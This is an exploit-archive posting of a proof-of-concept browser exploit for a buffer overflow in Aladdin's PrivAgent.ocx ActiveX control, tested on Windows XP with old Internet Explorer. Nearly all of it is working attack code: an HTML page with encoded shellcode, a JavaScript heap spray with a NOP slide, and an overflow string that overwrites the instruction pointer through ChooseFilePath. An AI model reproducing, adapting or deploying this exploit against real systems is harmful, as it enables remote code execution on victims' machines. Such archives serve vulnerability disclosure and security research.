exploit the possibilities

Aladdin Knowledge System Ltd Buffer Overflow

Aladdin Knowledge System Ltd Buffer Overflow
Posted Oct 28, 2012
Authored by b33f

Aladdin Knowledge System Ltd PrivAgent.ocx ChooseFilePath buffer overflow proof of concept exploit.

tags | exploit, overflow, proof of concept
MD5 | bc4b47c4dbd52167097d51c7901c8d01

Aladdin Knowledge System Ltd Buffer Overflow

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<!---------------------------------------------------------------------------
| Exploit: Aladdin Knowledge System Ltd - PrivAgent.ocx ChooseFilePath BOF |
| Author: b33f - http://www.fuzzysecurity.com/ |
| OS: Tested on XP PRO SP3 |
| Browser: IE 4.01, IE 5.01, IE 6.00, IE 7.00 |
| POC - shinnai: http://www.exploit-db.com/exploits/22258/ |
---------------------------------------------------------------------------->

<html>
<head>
<object id="pwnd" classid="clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6"></object>
</head>
<body>
<script>

//Messagebox (js_le)
var MessageBox = unescape(
'%ue9be%uac66%udb2b%ud9c2%u2474%u58f4%uc931%u3fb1%uc083%u3104%u1070%u7003%u0b10'+
'%u7593%u50c0%uf285%u9233%u2907%u2d89%u0459%u5a8a%ua6e8%u2ad8%u4c07%ucea8%u149c'+
'%u655d%ub8dc%u4fd6%uf619%udaf0%u51aa%uf500%u83b2%u7e62%u6020%u0b47%u54fc%u5f0c'+
'%udcd7%ub513%u57ac%uc20c%u47e9%u3f2d%ubcee%u3464%u37c5%ua477%ub717%uf849%ueba4'+
'%u382e%uf320%u77ef%ufac4%u6c28%uc723%u56ca%u4de4%u1dd2%u89ae%uca15%u5929%u4719'+
'%u073d%u563e%u33aa%ud33a%uac2d%ua7ca%u3009%ue4ac%u40e0%u3e07%ub48d%u7cde%ub8e6'+
'%u8eaf%u961b%u11c7%ue81c%ua4e7%u13a6%uc8a3%ufef0%ub3a0%udb1d%u5314%udc93%u5c66'+
'%u6725%uca91%u045a%u4b81%ue7cb%u65f3%u606f%u0a81%u020a%ub0e1%ue8f0%uae78%u13af'+
'%u2a2f%u2ed9%u8980%u0c71%u516c%u4d06%ufb4b%u0fe1%u046c%ua70e%udaca%u18d1%u7883'+
'%u6a21%u4d35%u049e%u89e5%u9c24%ub9f5%uc605%u19d9%ua62e%u174e%u77ea%u2fb8%u53be'+
'%ua63f%uadde%ueaed%u9f73%uf543%u2ea4%u59a4%u04ba%u412c');

//Spray spray spray
var NopSlide = unescape('%u9090%u9090');
var headersize = 20;
var slack = headersize + MessageBox.length;
while (NopSlide.length < slack) NopSlide += NopSlide;
var filler = NopSlide.substring(0,slack);
var chunk = NopSlide.substring(0,NopSlide.length - slack);
while (chunk.length + slack < 0x40000) chunk = chunk + chunk + filler;
var memory = new Array();
for (i = 0; i < 500; i++){ memory[i] = chunk + MessageBox }

//EIP => 0x06060606
junk='';
for( counter=0; counter<=268; counter++) junk+=unescape("%41");
pwnd.ChooseFilePath(junk + "\x06\x06\x06\x06");

</script>
</body>
</html>

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